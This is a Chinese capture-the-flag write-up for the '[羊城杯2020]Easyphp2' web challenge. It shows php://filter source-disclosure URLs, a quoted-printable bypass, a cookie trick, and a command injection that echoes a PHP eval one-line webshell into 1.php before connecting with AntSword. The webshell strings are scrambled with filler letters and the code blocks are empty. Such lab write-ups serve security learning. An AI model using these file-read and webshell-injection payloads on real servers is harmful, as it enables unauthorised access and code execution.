进入之后界面显示
404 Sorry, only people from GWHT are allowed to access this website.23333
观察到url
是
http://3d9dc9d7-0e2a-4cb9-93ad-3f176e320dd3.node4.buuoj.cn/?file=GWHT.php
扫了一下目录,在/robots.txt
得到Disallow: /?file=check.php
考虑用php://filter
协议
试一下
/?file=php://filter/read=convert.base64-encode/resource=check.php
回显了hacker!
,换一种:
/?file=php://filter/read=convert.quoted-printable-encode/resource=check.php
quoted-printable 编码解码:
convert.quoted-printable-encode
和
convert.quoted-printable-decode
Quoted-printable编码方法
任何一个8位的字节值可编码为3个字符:
一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。
除了可打印ASCII字符与换行符以外,所有字符必须表示为这种格式。
但ASCII的水平制表符(tab)与空格符, 十进制为9和32, 如果不出现在行尾则可以用其ASCII字符编码直接表示。如果这两个字符出现在行尾,必须QP编码表示为”=09″ (tab)或”=20″ (space).
如果数据中包含有意义的行结束标志,必须转换为ASCII回车(CR)换行(LF)序列,既不能用原来的ASCII字符也不能用QP编码的”=”转义字符序列。相反,如果字节值13与10有其它的不是行结束的含义,它们必须QP编码为=0D与=0A。
quoted-printable编码的数据的每行长度不能超过76个字符. 为满足此要求又不改变被编码文本,在QP编码结果的每行末尾加上软换行(soft line break)。即在每行末尾加上一个”=”, 但并不会出现在解码得到的文本中。
解码过程:
把所有=0A换成换行,=09换成tab,=20换成空格,=3D换成=。
解码得到:
1 |
|
将cookie
的pass
设置成GWHT
,同理读GWHT.php
得到
1 |
|
getenv()函数定义:取得系统的环境变量;
语法:string getenv(string varname);
注:返回的是字符串;
1 |
|
linux中 | wc -c 文件名–>统计字符数
构造命令行注入一个一句话木马,
<?php @evaanvahckahcnamvaval($_POST['attack']);?>
改成
echo+"<%3f%3d+evalacavsvavavadsx(\$_POST['shell'])%3f>"+>+1.php
蚁剑连接
在README
发现密码,读取flag
。
学习材料:
1.php协议详细
可能用到的:?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=
2.两次url编码绕过思路
参考:
Author: suyumen
Link: https://suyumen.github.io/2021/07/03/2021-07-03-[%E7%BE%8A%E5%9F%8E%E6%9D%AF2020]Easyphp2/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.